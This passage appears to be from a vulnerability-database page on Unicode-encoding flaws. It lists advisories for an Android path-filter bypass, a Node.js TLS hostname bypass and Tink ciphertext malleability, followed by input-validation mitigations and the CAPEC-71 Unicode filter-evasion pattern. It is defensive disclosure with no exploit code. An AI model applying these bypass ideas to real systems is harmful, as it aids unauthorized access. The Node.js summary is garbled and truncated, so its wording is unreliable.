"details": "In shouldHideDocument of ExternalStorageProvider.java, there is a possible bypass of a file path filter designed to prevent access to sensitive directories due to incorrect unicode normalization. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.",
"id": "GHSA-9g9p-59w9-vqqc",
"modified": "2025-10-22T00:33:11Z",
"published": "2024-11-13T18:32:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43093"
},
{
"type": "WEB",
"url": "https://android.googlesource.com/platform/frameworks/base/+/67d6e08322019f7ed8e3f80bd6cd16f8bcb809ed"
},
{
"type": "WEB",
"url": "https://android.googlesource.com/platform/frameworks/base/+/7f83c671626f9bf993581f4598c22482d87cba10"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2024-11-01"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2025-03-01"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-43093"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G57M-HR98-5M89
Vulnerability from github – Published: 2026-06-26 03:31 – Updated: 2026-08-10 15:33A flaw in Node.js TLS hostname handling can cause Node.js unicode dot separator handling can lead to tls wildcard-depth authentication bypass due to resolver and verifier hostname normalization mismat.
This can lead to confidentiality impact or bypass of the intended security boundary under affected configurations.
This vulnerability affects all supported release lines: Node.js 22, Node.js 24, and Node.js 26.
{
"affected": [],
"aliases": [
"CVE-2026-48618"
],
"database_specific": {
"cwe_ids": [
"CWE-176",
"CWE-289"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-26T02:16:52Z",
"severity": "HIGH"
},
"details": "A flaw in Node.js TLS hostname handling can cause Node.js unicode dot separator handling can lead to tls wildcard-depth authentication bypass due to resolver and verifier hostname normalization mismat.\n\nThis can lead to confidentiality impact or bypass of the intended security boundary under affected configurations.\n\nThis vulnerability affects all supported release lines: **Node.js 22**, **Node.js 24**, and **Node.js 26**.",
"id": "GHSA-g57m-hr98-5m89",
"modified": "2026-08-10T15:33:29Z",
"published": "2026-06-26T03:31:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48618"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48618.json"
},
{
"type": "WEB",
"url": "https://nodejs.org/en/blog/vulnerability/june-2026-security-releases"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2493337"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-48618"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:9455"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:7378"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:52399"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:41947"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:39868"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:39246"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:35892"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:35891"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:35842"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:35841"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:30172"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:29012"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:28727"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G5VF-V6WF-7W2R
Vulnerability from github – Published: 2020-10-16 00:51 – Updated: 2025-06-05 16:44Impact
Tink's Java version before 1.5 under some circumstances allowed attackers to change the key ID part of the ciphertext, resulting in the attacker creating a second ciphertext that will decrypt to the same plaintext. This can be a problem in particular in the case of encrypting with a deterministic AEAD with a single key, and relying on the fact that there is only a single valid ciphertext per plaintext.
No loss of confidentiality or loss of plaintext integrity occurs due to this problem, only ciphertext integrity is compromised.
Patches
The issue was fixed in this pull request.
Workarounds
The only workaround is to backport the fixing pull request.
Details
Tink uses the first five bytes of a ciphertext for a version byte and a four byte key ID. Since each key has a well defined prefix, this extends non-malleability properties (but technically not indistinguishability). However, in the Java version this prefix lookup used a hash map indexed by unicode strings instead of the byte array, which means that invalid Unicode characters would be replaced by U+FFFD by the Java API's default behavior. This means several different values for the five bytes would result in the same hash table key, which allows an attacker to exchange one invalid byte sequence for another, creating a mutated ciphertext that still decrypts (to the same plaintext).
Acknowledgements
We'd like to thank Peter Esbensen for finding this issue and raising it internally.
For more information
If you have any questions or comments about this advisory: * Open an issue in Tink
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.google.crypto.tink:tink"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-8929"
],
"database_specific": {
"cwe_ids": [
"CWE-176",
"CWE-327"
],
"github_reviewed": true,
"github_reviewed_at": "2020-10-16T00:49:43Z",
"nvd_published_at": "2020-10-19T13:15:13Z",
"severity": "MODERATE"
},
"details": "### Impact\nTink\u0027s Java version before 1.5 under some circumstances allowed attackers to change the key ID part of the ciphertext, resulting in the attacker creating a second ciphertext that will decrypt to the same plaintext. This can be a problem in particular in the case of encrypting with a deterministic AEAD with a single key, and relying on the fact that there is only a single valid ciphertext per plaintext.\n\nNo loss of confidentiality or loss of plaintext integrity occurs due to this problem, only ciphertext integrity is compromised.\n\n### Patches\nThe issue was fixed in this [pull request](https://github.com/google/tink/commit/93d839a5865b9d950dffdc9d0bc99b71280a8899).\n\n### Workarounds\nThe only workaround is to backport the fixing [pull request](https://github.com/google/tink/commit/93d839a5865b9d950dffdc9d0bc99b71280a8899).\n\n### Details\nTink uses the first five bytes of a ciphertext for a version byte and a four byte key ID. Since each key has a well defined prefix, this extends non-malleability properties (but technically not indistinguishability). However, in the Java version this prefix lookup used a hash map indexed by unicode strings instead of the byte array, which means that invalid Unicode characters would be [replaced by U+FFFD](https://en.wikipedia.org/wiki/UTF-8#Invalid_sequences_and_error_handling) by the [Java API\u0027s default behavior](https://docs.oracle.com/javase/7/docs/api/java/lang/String.html#String(byte[],%20java.nio.charset.Charset)). This means several different values for the five bytes would result in the same hash table key, which allows an attacker to exchange one invalid byte sequence for another, creating a mutated ciphertext that still decrypts (to the same plaintext).\n\n### Acknowledgements\nWe\u0027d like to thank Peter Esbensen for finding this issue and raising it internally.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Tink](https://github.com/google/tink/issues)",
"id": "GHSA-g5vf-v6wf-7w2r",
"modified": "2025-06-05T16:44:52Z",
"published": "2020-10-16T00:51:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/google/tink/security/advisories/GHSA-g5vf-v6wf-7w2r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8929"
},
{
"type": "WEB",
"url": "https://github.com/google/tink/commit/93d839a5865b9d950dffdc9d0bc99b71280a8899"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/tink/PYSEC-2020-142.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Ciphertext Malleability Issue in Tink Java"
}
Mitigation MIT-44
Strategy: Input Validation
Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-20
Strategy: Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
CAPEC-71: Using Unicode Encoding to Bypass Validation Logic
An attacker may provide a Unicode string to a system component that is not Unicode aware and use that to circumvent the filter or cause the classifying mechanism to fail to properly understanding the request. That may allow the attacker to slip malicious data past the content filter and/or possibly cause the application to route the request incorrectly.